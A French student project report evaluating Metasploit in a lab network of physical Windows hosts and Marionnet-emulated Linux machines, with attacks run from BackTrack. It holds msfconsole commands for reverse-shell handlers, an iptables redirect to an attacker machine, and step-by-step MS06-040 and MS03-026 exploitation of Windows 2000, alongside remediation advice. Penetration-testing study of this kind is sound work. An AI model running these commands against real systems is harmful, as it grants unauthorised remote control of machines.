Rapport de projet Prise en main, configuration et évaluation des performances d un Framework logiciel de gestion de la sécurité d un SSI dans le cadre d un réseau d'entreprise privé BIKOUO Aubin FAVIER Florian IENAC07L-TR Encadrants : N.Larrieu, F. Garcia 1
Sommaire I. Introduction II. Cahier des charges III. Présentation des outils 1) Marionnet 2) BackTrack 3) Metasploit IV. Définition et implémentation d une topologie 1) Mise en œuvre de la topologie réseau 2) Mise en place de la prise externe de Marionnet V. Description du Framework Metasploit 1) Composition 2) Utilisation VI. Exécution de différentes attaques 1) Découverte des hôtes sur le réseau 2) Machines cibles Windows 3) Machines cibles Linux VII. Conclusions et Perspectives VIII. Glossaire IX. Bibliographie X. Annexes 2
I. Introduction La sécurité est devenue primordiale dans le monde d aujourd hui. A l heure des transactions bancaires en ligne, de l envoi massif d emails confidentiels, du commerce en ligne et de nombreuses autres utilisations à risque, la sécurisation des échanges et des infrastructures réseau devient plus que jamais nécessaire. Ainsi une forte réactivité est nécessaire, dans le but de mettre à jour les logiciels vulnérables ou les bases virales par exemple, et donc afin de réduire les menaces. Metasploit est un projet qui a vu le jour dans les années 2003. Ce Framework a été conçu afin d aider les professionnels de la sécurité réseau à mieux protéger leur architecture. En effet étant composé d une batterie d attaques, il permet de réaliser des tests de pénétration sur un réseau ou une machine distante. Evidemment, cet outil de sécurité étant open-source, il est aussi bien utilisable par des personnes bienveillantes afin de réaliser des audits de sécurité que par des personnes malveillantes. L objectif de ce projet est donc de prendre en main et d évaluer les performances de ce Framework, afin d élargir ses perspectives d utilisation pour un des laboratoires de recherche de l ENAC, le LEOPART (Laboratoire d'etude et d'optimisation des Architectures de Réseaux de Télécommunication). 3
II. Cahier des charges L objet de ce projet est d étudier les performances du Framework logiciel Metasploit. Pour cela nous allons mettre en place un réseau local constitué de machines Windows physiques, et de machines Linux émulées grâce à la plate-forme Marionnet. Un «bridge» devra être configuré avant le lancement de Marionnet permettant de relier ces deux réseaux, afin de n en faire qu un seul hétérogène. Cette topologie réalisée, une deuxième phase du projet consistera en la mise en œuvre, la réalisation et l'analyse de différentes attaques sur diverses machines cibles. Les machines utilisées pour réaliser les différentes attaques vers les machines cibles utilisent la distribution Linux BackTrack. On peut donc considérer que l on est dans le cas d une «ingénierie sociale», où un utilisateur malveillant aurait réussi à obtenir les codes d accès d une personne autorisée au sein du réseau d une entreprise. Afin de pouvoir mener à bien ce projet au cours des deux mois impartis, les systèmes d'exploitation utilisés dans les machines cibles seront des versions de base n'ayant subis aucune mise à jour, cela permettra ainsi d exploiter plus facilement les nombreuses possibilités d attaque du Framework Metasploit. L étude permettra en outre de mettre en évidence les différentes failles de sécurité des différents systèmes audités. 4
III. Présentation des outils Afin de réaliser les différentes tâches qui nous ont été assignées, nous avons à notre disposition plusieurs outils, en effet nous utiliserons la plate-forme logicielle Marionnet pour émuler une partie de notre topologie réseau et le Framework Metasploit sous la distribution Linux BackTrack pour exploiter les vulnérabilités des systèmes. 1) Marionnet Marionnet a été crée en avril 2005 par Jean-Vincent Loddo afin de mieux illustrer son cours de réseau. Ce logiciel a ensuite été amélioré et doté d une interface graphique. Il a ainsi été crée dans un but pédagogique, et continue de l être étant donné qu il est très utilisé dans les universités françaises, et même dans d autres pays. Marionnet est un réseau de laboratoire virtuel. Il permet à l aide d une seule machine physique d émuler tout un réseau Ethernet, c'est-à dire qu il peut émuler différentes machines sous différents OS, ainsi que des hubs, Switch, routeurs et câbles, et les faire interagir entre eux. Par rapport à une solution matérielle, c est donc un outil puissant permettant d économiser temps et argent. De plus, la métrologie du réseau ainsi crée est beaucoup plus facile à mesurer, et son management allégé. 5
2) BackTrack BackTrack est une distribution GNU/Linux dont l objectif est de regrouper un ensemble d outils nécessaires à des tests de sécurité sur un réseau. C est un outil complet qui vise à aborder tous les problèmes de sécurité moderne. La première version de BackTrack est sortie début 2006, aujourd hui la version 4.0 Pre-Release est disponible depuis 6 mois. Tout au long du projet nous utiliserons la version 3.0 finale, existant depuis juin 2008 et dont la stabilité est reconnue, dans les machines émulées, et de la version 4.0 Pre-Release sur une machine physique en LiveCD, afin de disposer de la plus récente version de Metasploit. Cette distribution comprend environ 300 outils d audit de sécurité, permettant par exemple de découvrir le réseau (Genlist), de sniffer ce réseau (Wireshark), de craquer une connexion Wifi (air-crack), d écouter les ports (Nmap) ou de pénétrer une machine distante (Metasploit). A noter que Tenable, qui est le développeur de l excellent outil d audit réseau Nessus, n a pas autorisé son intégration dans BackTrack, nous ne pourrons donc pas l utiliser. 6
3) Metasploit Le Framework Metasploit est une batterie d attaques permettant de tester la vulnérabilité d une machine distante. Aussi, grâce à sa forte modularité, il permet de développer de nouveaux exploits (les attaques exploitant une vulnérabilité) ou payloads (le code permettant de prendre en main la machine cible), mais une explication détaillée de ces deux termes sera donnée par la suite. Ce projet a débuté dans les années 2003-2004, afin d aider les professionnels de la sécurité à améliorer leur installation. Metasploit est, tout comme Nessus ou Cain, un outil disponible gratuitement et qui, étant donné sa notoriété croissante, concurrence de plus en plus les outils commerciaux d audit comme Acunetix ou Core Impact. Attention tout de même à ne pas confondre Framework (Metasploit) et scanner de vulnérabilité (Nessus). Un scanner de vulnérabilité tente de déterminer si une cible est vulnérable alors qu un Framework pénètre la cible et confirme la vulnérabilité. Initialement développé en langage de programmation Perl, le Framework a été complètement réécrit pour la version 3.0 en langage Ruby pour plusieurs raisons, notamment pour sa simplicité de codage et sa migration plus facile vers les systèmes Windows. Concernant la version du Framework utilisé, nous utiliserons la version 3.2 du Framework qui est disponible dans BackTrack 3.0 dans les machines émulées, et la version 3.3 de BackTrack 4.0 sur une machine physique en LiveCD. 7
IV. Définition et implémentation d une topologie 1) Mise en œuvre de la topologie réseau Afin de disposer d un maximum d OS possible, et étant donné le fait que les OS Windows ne sont pas émulables par Marionnet, notre topologie sera donc constituée d une partie physique et d une partie émulée. Partie du réseau émulée par Marionnet Nous implémentons dans cette partie émulée deux routeurs fonctionnant avec Quagga (Debian), afin de pouvoir créer 3 sous-réseaux distincts. E1 représente la prise externe vers le réseau physique, mais pour autant, la machine m1 fait partie du sous-réseau 0 avec les machines physiques. Les connexions machine-hub et hub-routeur sont faites avec des câbles droits, alors que la connexion H1-Prise externe doit se faire avec un câble croisé. Ensuite on associe à chaque machine une @IP et on lui donne les routes à connaître. Etant donné que l on a la maîtrise entière du réseau, un routage statique suffit, d autant que le nombre d hôtes n est pas très élevé. 8
La configuration pour la machine m3 par exemple est donc : ifconfig eth0 192.168.1.2/24 et sa table de routage (voir schéma ci-dessous) : Adresse Masque GW 192.168.1.0 /24 * 192.168.0.0 /24 192.168.1.254 (interface 2 du routeur R1) 192.168.2.0 /24 192.168.1.253 (interface 0 du routeur R2) 9
La mise en place de plusieurs machines sous BackTrack 3.0 a pour but de pouvoir tester la même attaque à plusieurs endroits du réseau, et d observer les éventuels changements dus à la traversée de routeurs entre la machine attaquante et cible. 2) Mise en place de la prise externe Une fois le réseau des machines virtuelles défini, il faut le faire communiquer avec le réseau physique, pour cela nous allons utiliser la prise externe comme nous l'avons mentionné précédemment. Pour ce faire il faut créer et configurer un pont (bridge) sur la machine physique sur laquelle est lancée la topologie virtuelle Marionnet; par défaut le nom du pont attendu par Marionnet est br0. L'installation de la prise externe passe par les étapes suivantes : 1. Le daemon Marionnet doit être lancé 2. Après lancement du daemon Marionnet les commandes suivantes doivent être exécutées : - brctl addbr br0 (Création du pont br0) - configurer la carte réseau de la machine physique (Dans notre cas nous attribuons l'adresse 192.168.0.4/24 à l'interface eth0) - brctl addif br0 eth0 (Ajout du pont à la carte réseau) - ifconfig eth0 0.0.0.0 promisc up - ifconfig br0 192.168.0.4 up (Configuration du pont avec l'adresse de l'interface correspondante) - Optionnel : route add default gw 192.168.0.254 (définir le cas échéant la route par défaut) 3. Lancer le programme Marionnet Une fois ces commandes réalisées, le pont est fonctionnel. En reliant l'élément prise externe à un Hub via un câble croisé le réseau des machines virtuelles connectées à ce hub (configurées avec la même adresse de réseau que la machine physique) peuvent joindre les autres machines physiques sur le réseau de la machine locale. Pour vérifier le bon fonctionnement du pont les commandes suivantes peuvent être utiles : brctl show (vérifier que le pont a bien été crée et associé à la bonne interface) ifconfig (vérifier l'adresse du pont et vérifier que l'interface associée au pont n'a pas d'adresse IP assignée) ping de la machine locale vers une machine du réseau physique (vérifier que la machine reste bien connectée sur le réseau physique) 10
V. Description du Framework Metasploit 1) Composition Tout d abord définissons quelques termes : - Exploit : C est l attaque mise en œuvre qui va exploiter une vulnérabilité du système cible - Payload : C est le code qui s'exécutera après s'être introduit dans la machine cible, par exemple pour avoir accès à un Shell distant ou un serveur VNC La très forte modularité de Metasploit vient du fait qu une payload ne fonctionne pas seulement qu avec un seul exploit, et vice-versa. Ainsi pour une même attaque on peut utiliser une payload permettant de rediriger le flux d exécution de l application vulnérable et donc d avoir accès à un Shell distant, ou d avoir un déport d affichage de la machine attaquée. 1.1 Exploits Il est possible de créer plusieurs exploits permettant d utiliser une même vulnérabilité, ou à l inverse, d utiliser un même exploit afin d exploiter plusieurs vulnérabilités similaires. Le processus afin de créer un exploit est le suivant : on cible tout d abord l OS et/ou le logiciel cible, puis on cherche une vulnérabilité connue sur des sites web tels que www.osvdb.org (Open Source Vulnerability DataBase, qui est un site qui recense toutes les vulnérabilités découvertes à ce jour), à moins que l on en ait trouvé une soi-même. Il suffit ensuite de rédiger l attaque en prenant pour modèle d autres exploits Metasploit. Cette attaque contient l exploitation même de la vulnérabilité (très souvent un buffer overflow), puis une procédure permettant de chercher assez d espace disponible afin d ensuite pouvoir uploader et y placer notre payload. A noter qu il est nécessaire de connaître le fonctionnement du logiciel cible, qui souvent modifie les données avant de les traiter. Ainsi notre payload risque d être modifiée avant son exécution et donc ne plus fonctionner correctement. Les exploits peuvent se classer de plusieurs façons. Cette classification peut se faire suivant leur impact sur la cible, c'est-à-dire si elle provoque une perte de confidentialité, une perte d intégrité, une perte de disponibilité ou autre. On peut aussi les classer par type d attaque : elle peut porter sur la gestion de l authentification, provoquer un déni de service, être de nature cryptographique, malconfigurer la cible, dévoiler des informations de la cible, ou autre. Dans le Framework Metasploit, ces exploits sont tout d abord classées par OS cible. Les plus nombreuses concernent les attaques sur les systèmes Windows (250/330). Le reste concerne les systèmes Unix globalement, alors que certaines sont spécifiques à Linux ou Solaris. Il y en a très peu spécifiques à l OS MAC. Ensuite, au sein d un même OS, ces exploits sont classés par type de protocole utilisé par l application vulnérable. Les plus utilisés sont : ftp, http, imap, misc, smb, ssh, tftp, dcerpc Enfin, au sein d un même protocole utilisé, les noms de différents exploits sont listés et diffèrent selon l OS ciblé, sa version et ses vulnérabilités. 11
1.2 Payloads Une payload (charge utile) est une suite d'instructions qui est envoyée via un exploit pour rediriger le flux d exécution d'une application faillible afin d'obtenir une invite de commande après compromission. Il existe plusieurs type de code que l on va insérer une fois la faille ouverte. Les deux principales sortes de payload sont : - Le bind shellcode, qui consiste à exécuter sur la machine distante l équivalent d un serveur : un port (TCP ou UDP) se met alors en écoute de connexions entrantes et redirige les flux vers un shell distant. - Un reverse shellcode permet d obtenir un comportement de client standard sur la machine exploitée, c'est-à-dire qu elle établira une connexion sur une machine définie (par exemple celle de l attaquant) et lancera alors un shell que le «serveur» pourra contrôler. Les reverse shellcodes permettent parfois d outrepasser des règles de filtrage sur des firewalls. Une sorte de shell amélioré est la payload meterpreter (reverse_meterpreter) où en plus de pouvoir disposer d un shell afin de naviguer, exécuter ou lister du contenu sur la machine cible, le meterpreter permet d uploader ou de downloader n importe quel fichier entre la machine attaquante et cible. On peut ainsi facilement récupérer tout le contenu d un ordinateur, ou uploader un exécutable particulier afin de le lancer sur la machine cible. Il permet aussi, en gérant des canaux de communication, de détourner l entrée ou la sortie standard de la machine cible. Enfin il est aussi possible de gérer tous les processus à distance de la machine cible, les lister et aussi les arrêter Les payloads précédentes ne donnent pas d aperçu de l écran de la cible. Avec une payload du type vncinject (reflective_vncinject), un déport d affichage est possible jusqu à l écran de la machine attaquante, avec maîtrise de la souris et clavier. Ceci est rendu possible à l aide de la création d un serveur VNC sur la machine cible ou attaquante, et ce quelque soit la faille exploitée. Ce déport d affichage peut se faire furtivement, c'est-à-dire sans que la cible ne s aperçoive de rien si on désactive le shell de courtoisie (celui-ci est visible sur la capture d écran de la partie VI.2.4). Dans les deux cas, lors de la fin de la session engagée par l attaquant, le protocole ayant servi à créer la première connexion et à uploader la payload va prévenir la cible de son interruption anormale, et la cible pourra donc savoir qu elle a été attaquée. 12
Exemple d utilisation du serveur VNC : Les paramètres à rentrer afin de réaliser une attaque de ce type sont les classiques RHOST, LHOST, RPORT et LPORT, et en plus il faut désigner le VNCHOST et le VNCPORT qui sont l hôte et le numéro de port sur lequel va être émulé ce serveur VNC. Sur le schéma ci-dessous, le serveur est émulé sur l attaquant (donc avec un vncinject) mais c est la cible qui va initier la connexion (reverse_tcp par exemple). Les principales étapes de cette attaque se déroulent de la façon suivante : 1. Connexion de la machine attaquante sur le RPORT de la machine Cible (bind_tcp) 2. L attaquant upload la librairie VNC vers la machine Cible (VNC injection) 3. Le code de l exploit est pris en charge par la cible (TFTP dans l exemple), et entre dans la pile des process 4. L exploit agit sur la faille, et très souvent entraîne un débordement de la pile, ce qui conduit au détournement du flux d éxécution vers le shellcode (uploadé dans la payload) 5. Exécution du shellcode, ouverture d une connexion vers l attaquant (reverse_tcp). 6. Le flux VNC venant de la cible est encapsulé dans un flux TCP et arrive par le port LPORT. Le serveur VNC simulé prend en entrée ce flux TCP et le met à disposition sur le port VNCPORT. 7. Si la case Auto est cochée, le Framework lance un vncviewer sur ce port. La cible peut donc nous envoyer en continu son flux vidéo. Enfin il existe quelques autres payloads consistant au download ou l upload d un code puis de son exécution sur la machine cible (download_exec / upload_exec), à l ajout d un utilisateur (adduser) ou à l injection d une librairie dynamique (dllinject). 13
1.3 Mise en évidence de l avantage du Reverse_tcp Comme expliqué précédemment, la payload bind_tcp fait agir la machine cible comme un serveur et c est donc la machine attaquante qui initie la connexion, ce qui est donc facilement filtrable par un firewall. La configuration d un firewall comme ci-dessous va nous permettre de filtrer cette connexion bind_tcp tout en étant vulnérable à un reverse_tcp, c'est-àdire une connexion initiée par la payload à partir de la machine cible, et ainsi comprendre les mécanismes et avantages de cette payload. Filtrage avec IPTABLES : Pour limiter les communications entre les machines de sous-réseaux différents, on peut donc dans un premier temps penser à filtrer le trafic au niveau des routeurs et ainsi réduire la vulnérabilité des machines. Le port 445 utilisé notamment par le protocole Smb est un port très sensible à des vulnérabilités, nous allons donc interdire toutes communications en provenance d'un autre sous-réseau et à destination de ce port, la commande IPTABLES équivalente est : Iptables -A FORWARD -s 0.0.0.0/0 -d 192.168.0.0/24 -p tcp --dport 445 -j REJECT Cependant cette méthode a l'inconvénient d'altérer le fonctionnement des services utilisant le port 445. Pour y remédier, nous allons affiner notre filtrage, en utilisant les capacités de mémoire du serveur quagga (ESTABLISHED). On change tout d abord la politique de l'iptable (on bloque toutes les communications): iptables -P FORWARD DROP On autorise ensuite seulement les connexions vers les ports connus, via le protocole tcp afin que le fonctionnement normal des machines ne puisse pas être altéré : Iptables -A FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -p tcp --dport 1:1024 -j ACCEPT Iptables -A FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -p tcp -m state --state ESTABLISHED -j ACCEPT On autorise aussi la machine cible à pouvoir ouvrir une connexion vers l'extérieur sur un port non «well-known» : Iptables -A FORWARD -s 192.168.0.0/24 -d 0.0.0.0/0 -p tcp --dport 1024:65535 -m state --state NEW,ESTABLISHED -j ACCEPT Et enfin on autorise une machine extérieure au réseau 0 à pouvoir répondre à une connexion venant de ce réseau 0 : Iptables -A FORWARD -s 0.0.0.0/0 -d 192.168.0.0/24 -p tcp --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT 14
Comme prévu l exploit avec le bind_tcp échoue au moment où il initie la connexion, mais il s est déjà connecté auparavant au port 445 afin de prendre parti de la vulnérabilité et d uploader la payload. L attaquant ne peut donc plus prendre la main sur la machine cible, mais pourra tout de même uploader un exécutable par exemple dont le but sera de faire des dégâts sur la machine cible. On peut donc en conclure que le filtrage par firewall n est pas très efficace, car si un port est ouvert, c est qu une application l utilise et que donc le firewall doit laisser passer ce flux. En revanche il peut tout de même compliquer légèrement l attaque. 1.4 Principe de fonctionnement d un payload particulier Payload explicité: windows/*/reverse_tcp_allports Ce nouveau payload est inséré dans la version 3.3 du Framework Metasploit. Ce dernier permet de jouer avec les règles du firewall afin d'abuser de règles trop laxistes. En effet, les règles des firewalls au sein des entreprises sont au départ minutieusement étudiées de sorte qu'aucun flux non désiré ne puisse transiter à travers celui-ci. Les utilisateurs ne peuvent donc pas accéder à des ressources qui ne leur sont pas destinées, ou utiliser des logiciels non désirés. Cependant, au fil du temps, les impératifs métiers ou les environnements de test nécessitent l'ouverture en urgence de certains flux, la plupart du temps assez laxistes, pour que tout soit fonctionnel le plus vite possible. Ce payload permet justement de tirer profit de ces règles oubliées ou mal conçues, afin d'obtenir un moyen de contrôle sur une machine présentant une faille de sécurité. Lorsqu'un attaquant compromet une machine, deux possibilités s'offrent à lui pour s'y connecter et interagir avec elle. Tout d'abord le bind_shell. Cette méthode ouvre un port sur la machine compromise pour que l'attaquant se connecte sur celui-ci. Si la machine vulnérable est derrière un pare-feu ou un routeur, le port désiré ne sera donc pas forcément accessible par l'attaquant. Notons également que les payloads de Metasploit utilisent le port 4444 par défaut. Ce port n'étant pas un port fréquemment utilisé et a de grandes chances d'être bloqué par un firewall situé entre la machine de l'attaquant et la machine vulnérable. 15
Dans ce cas-là, il est préférable d'utiliser le reverse_shell. La technique consiste à forcer la machine compromise à se connecter sur la machine de l'attaquant plutôt que l'inverse. Cette méthode permet dans de nombreux cas de contourner le problème du routeur, voire du Firewall. Cependant, que faire si le firewall bloque également ce flux sortant? Un code malicieux a été exécuté sur la machine compromise, mais il n'est pas possible d'obtenir une interaction avec celle-ci : le résultat des commandes soumises par l'attaquant ne peut pas être visualisé. L'attaquant peut évidemment tenter d'utiliser les ports les plus communs tels que le 21, 22, 23, 53, 80, 110, 143, 443... mais passera sûrement à côté d'une règle autorisant un port exotique. C'est là qu'intervient le nouveau payload windows/*/reverse_tcp_allports. Il permet de découvrir de façon automatique les ports non bloqués en sortie par le firewall. Il va forcer la machine compromise à se connecter sur le port 4444 de la machine de l'attaquant. Si ce port n'est pas joignable, il va alors tenter de joindre successivement et de façon exhaustive la machine de l'attaquant en partant du port numéro 1 jusqu'au 65535. Pour cela, l'attaquant va tout d'abord mettre en écoute l'intégralité des ports d'une machine qu'il contrôle, afin de recevoir la session provenant de la machine compromise. msf> use exploit/multi/handler msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports msf (exploit/handler) > set LHOST ip.ip.ip.ip msf (exploit/handler) > set LPORT 4444 msf (exploit/handler) > exploit -j Évidemment, la machine de l'attaquant ne peut pas mettre l'ensemble de ses ports en écoute, c'est pourquoi il est nécessaire d'utiliser une seconde machine dédiée à cette tache. La règle iptables suivante permet par exemple de rediriger l'ensemble des flux arrivant sur la machine dédiée, vers le port 4444 de la machine de l'attaquant. # iptables -I INPUT -p tcp -m state --state NEW -d ip1.ip1.ip1.ip1 -j DNAT --to ip2.ip2.ip2.ip2:4444 16
ip1.ip1.ip1.ip1 est l'adresse IP de la machine dédiée à la réception des ports non bloqués par le firewall, tandis que ip2.ip2.ip2.ip2 est l'adresse IP de la machine de l'attaquant. Cette méthode est particulièrement intéressante, mais comporte toutefois un inconvénient de taille: sa lenteur. En effet, afin de détecter un port bloqué, plus d'une minute peut être nécessaire. Ainsi, il faut parfois attendre plusieurs heures avant de découvrir un port autorisé. 2) Utilisation L utilisation de Metasploit est des plus simples et se déroule de la façon suivante : Choisir et configurer l exploit. Choix de la cible. Choisir et configurer le payload. Exécution de l exploit. Suivant le payload choisi on a ensuite accès à un Shell de commande sur la machine cible, à un meterpreter, à une vision graphique de la cible, à la récupération de mots de passe ou autres. 17
VI. Exécution de différentes attaques 1) Découverte des hôtes sur le réseau Avant de pouvoir procéder à l'exécution d'un exploit, il faut d'abord connaître les hôtes qui sont sur le réseau associé, pour réaliser cette tâche nous utiliserons sur notre machine attaquante l'outil Nmap avec la commande : Nmap -sl <adresse réseau cible>. On peut aussi utiliser la commande : Nmap -sp <adresse réseau cible>. Bien que cette commande soit plus intrusive que celle précédente (envoie de ping vers les machines du réseau), elle a l'avantage de lister les machines actives du réseau contrairement à la précédente dont le seul but est de fournir la liste de chaque IP avec son nom d'hôte. Une fois les machines découvertes, on peut procéder au scan des ports de celles-ci en utilisant aussi l'outil Nmap. Le scan d'une machine via Nmap nous permet de connaître l'état des différents ports sur la machine. Nmap nous renvoie plusieurs états du port : - Ouvert (open) : Une application accepte des connexions TCP ou des paquets UDP sur ce port. Trouver de tels ports est souvent le but principal du scan de ports. Dans le domaine de la sécurité, chaque port ouvert est un boulevard pour une attaque. Les ports ouverts sont également intéressants pour des scans autres que ceux orientés vers la sécurité car ils indiquent les services disponibles sur le réseau. - Fermé (closed) : Un port fermé est accessible (il reçoit et répond aux paquets émis par Nmap), mais il n'y a pas d'application en écoute. Ceci peut s'avérer utile pour montrer qu'un hôte est actif (découverte d'hôtes ou scan ping), ou pour la détection de l'os. Comme un port fermé est accessible, il peut être intéressant de le scanner de nouveau plus tard au cas où il s'ouvrirait. - Filtré (filtered) : Nmap ne peut pas toujours déterminer si un port est ouvert car les dispositifs de filtrage des paquets empêchent les paquets de tests (probes) d'atteindre leur port cible. Le dispositif de filtrage peut être un pare-feu dédié, des règles de routeurs filtrants ou un pare-feu logiciel. Ces ports ennuient les attaquants car ils ne fournissent que très peu d'informations. - Non-filtré (unfiltered) : L état non-filtré signifie qu'un port est accessible, mais que Nmap est incapable de déterminer s'il est ouvert ou fermé. La commande est utilisée ici avec les options : <-ss> : Scan TCP SYN, Il peut être exécuté rapidement et scanner des milliers de ports par seconde sur un réseau rapide lorsqu'il n'est pas entravé par des pare-feux. Le scan SYN est relativement discret et furtif, vu qu'il ne termine jamais les connexions TCP. Il permet de plus une différentiation fiable entre les états ouvert, fermé et filtré. <-su> : Permet d'activer le scan UDP. 18
<-F> : qui autorise le scan des ports connus Ceci est bien plus rapide que de scanner les 65 535 ports d'un hôte <-sv> : Active la détection de version, connaître avec précision le numéro de version aide considérablement à déterminer à quels exploits un serveur est vulnérable. La détection de version vous permet d'obtenir une telle information. -O Détermine l'os de la machine à partir d'empreintes connues Le résultat du scan sur les trois réseaux nous concernant se fait donc avec la commande : Nmap-sS -su -F -sv -O 192.168.0.0/24 192.168.1.0/24 192.168.2.0/24 et est visible en Annexe A. 2) Machines cibles Windows 2.1 Prise en main d une machine sous Windows 2K L'exploit illustré dans les lignes suivantes utilise une vulnérabilité de saturation de mémoire tampon dans le service serveur. Le précédent scan des ports de la machine nous montre l'ouverture du port 445 (Protocole SMB), celui-ci sera donc exploité pour réaliser une attaque de type prise en main de la machine. L'exploit utilisé pour réaliser cette attaque est : exploit/windows/smb/ms06_040_netapi Les serveurs SMB sont en écoute sur le port 139 ou 445. SMB (pour Server Message Block) est le protocole utilisé pour interfacer les partages et les authentifications MICROSOFT. Les clients et serveurs SMB sous Linux et d'autres OS libres utilisent SAMBA pour traiter les échanges avec ce protocole. SMB possède deux modes d'authentification : le mode "share", dans lequel il associe un mot de passe à une ressource (espace disque, imprimantes...), et le mode "user", où il associe un mot de passe à un utilisateur. Cet utilisateur peut être aussi propriétaire d'une ressource. SMB utilise aussi deux modes pour l'envoi de ces mots de passe : encryptés ou non. C'est le serveur qui donne l'information au client s'il supporte l'encryptage ou non. (Un exemple d'échange est disponible en Annexe B). Si un pirate parvient à détecter un établissement de session SMB avant cet échange, il peut très bien détourner le flux entre les deux et demander au client d'envoyer son mot de passe en clair et le recevoir. Pour réaliser cette attaque nous pouvons utiliser plusieurs payloads disponibles, cependant notre but étant d'obtenir un shell de la machine cible sur la machine attaquante nous utiliserons le module shell. Nous réalisons l'attaque en donnant l'initiative à la machine distante d'établir la connexion (reverse_tcp), le payload correspondant est donc : 19
payload windows/shell/reverse_tcp Les options de l'exploit sont donc ainsi : RHOST 192.168.0.2 RPORT 445 LHOST 192.168.1.2 LPORT 4444 (Port par défaut sous Metasploit) Chronologie des échanges 1. Etablissement de la connexion entre la machine attaquante (port > 1024) et la machine cible (port : 445) 2. Communication suivant le protocole SMB (server message block), la machine cible jouant le rôle de serveur et la machine attaquante étant client Pour arriver à s'authentifier auprès du serveur sans les paramètres adéquats, la machine attaquante utilise les failles du protocole NTLMSSP. NTLML est un protocole d'authentification de Windows. Pour valider un compte, le plus simple est de le comparer à un mot de passe stocké localement. Il est préférable de ne pas 20
stocker les mots de passe en clair, mais sous une forme non réversible, par exemple un condensat (hash). Le service NTLMSSP (NTLM Security Support Provider), qui fait partie de la DLL ntlmssps.dll, assure la gestion des requêtes d'authentification pour NTLM. Le processus se charge de dispatcher les requêtes des clients en fonction du numéro de la fonctionnalité demandée. Ensuite, le service se sert de ce numéro comme indice d'un tableau dans lequel se trouvent les fonctions à appeler. Le protocole définit trois types de message : NTLMSSP_NEGOTIATE (Client vers Serveur) : démarre une négociation NTLMSSP_CHALLENGE (Serveur vers Client) : permet au serveur d envoyer son défi NTLMSSP_AUTH (Client vers Serveur) : permet au client d envoyer ses réponses (champ NTLM) Le mot de passe n est pas nécessaire pour répondre aux défis : il suffit de connaître uniquement le condensat. Il est ainsi possible de s authentifier à distance uniquement en connaissant le condensat NTLM. Ici la machine attaquante. Cependant, l'indice fourni par l'utilisateur n'est pas correctement vérifié, car des indices négatifs sont autorisés. Ainsi, un attaquant local peut : - préparer une zone mémoire contenant du code illicite - formuler une requête, sur le service NTLMSSP, ayant un numéro négatif Le service utilisera alors cet indice, pointera sur la zone mémoire et appellera le code illicite préparé par l'attaquant. Ce code sera alors exécuté avec les privilèges SYSTEM. Dans cette première requête, la machine attaquante émet une requête de demande de connexion sur la machine distante, celle-ci est rejetée, ceci étant dû aux paramètres erronés fournis par la machine attaquante, 21
Ici une seconde tentative d'authentification de la machine attaquante est cependant réussie, ceci peut être dû éventuellement au fait que le service serveur ne traite pas correctement les requêtes SMB spécialement conçues, Dès lors que le client obtient l'authentification sur la machine cible, il peut ainsi réaliser des lectures et des écritures de données dans des emplacements mémoire choisis sur la machine cible. La machine attaquante au travers des requêtes de type «Write andx Request» réalise des écritures de données sur la machine cible en incrémentant énormément le pointeur de données, ce qui a pour effet de créer une saturation de mémoire tampon dans le service serveur, la machine attaquante peut donc exécuter un code illicite sur la machine cible ce qui lui donne l'accès à celle-ci. 3. Communication avec le protocole DCERPC DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) est une procédure système qui permet à un logiciel de fonctionner sur plusieurs ordinateurs à la fois, et de rendre cette procédure transparente comme si il ne fonctionnait que sur un seul processeur. Le protocole DCERPC fonctionne une couche au-dessus du protocole SMB. Une fois que l'attaquant a la main mise sur la machine cible, une session DCERPC est initiée, c est via celle-ci que la machine attaquante peut exécuter des fonctions sur la machine cible. 4. Connexion TCP entre la cible (Port Nsstp 1036) et l'attaquant (port Krb524 4444) La machine cible initie ensuite une connexion TCP avec la machine attaquante (reverse_tcp) entre les ports 1036 et 4444 (port par défaut Metasploit). C'est via cette connexion que seront transmises les commandes à exécuter sur la machine cible, ainsi que le résultat des commandes exécutées. 22
Solution possible à cette vulnérabilité : Désactiver le protocole SMB Une solution possible pour remédier à cette faille de sécurité consiste à désactiver le protocole SMB. Les serveurs déployés dans le réseau de périmètre doivent avoir tous les protocoles inutilisés désactivés, y compris le protocole SMB (Server Message Block). Les serveurs Web et les serveurs DNS (Domain Name System) ne nécessitent pas SMB. Ce protocole doit être désactivé pour limiter le risque lié à l'énumération des utilisateurs. (Voir procédure en Annexe C). Mise à jour de sécurité Microsoft Pour corriger cette vulnérabilité, Microsoft a édité une mise à jour de sécurité le 12 septembre 2006 sous le nom Microsoft MS06_040. Pour plus de détails un lien correspondant à cette mise à jour est disponible dans la bibliographie. 2.2. Deuxième prise en main de Windows 2K Cette fois-ci, on utilise une autre faille, et une payload qui met en scène l attaquant se connectant directement à la cible. Cette attaque est rendue possible grâce au port 135 de Windows 2K qui est ouvert. Les commandes entrées au cours de cette attaque sont : use exploit/windows/dcerpc/ms03_026_dcom set payload windows/shell/bind_tcp set RHOST 192.168.0.2 exploit sessions i 1 On utilise donc une faille du protocole DCE/RPC. Comme expliqué précédemment ce protocole permet à un logiciel de gérer son fonctionnement d une manière distribuée (sur plusieurs systèmes donc). L exploit ms03-026_dcom exploite une vulnérabilité (buffer overflow) dans l interface DCOM (Distributed Component Object Model) lors d un flux RPC. La vulnérabilité est causée par une erreur de limite («Boundary Error») dans le "CoGetInstanceFromFile" API lors du traitement du paramètre "szname", et une erreur non spécifiée lors du traitement de certains messages RPC. Cette vulnérabilité est alors exploitée en causant des débordements de tas («Heap Overflows»), permettant ensuite l exécution de notre payload sur ce système vulnérable. 23
Parade : Une mise à jour de Windows «Microsoft Security Bulletin MS03-026» datant du 10/09/03 a permis d annihiler cette vulnérabilité sur tous les systèmes 2K, NT et XP. Capture d écran : 24
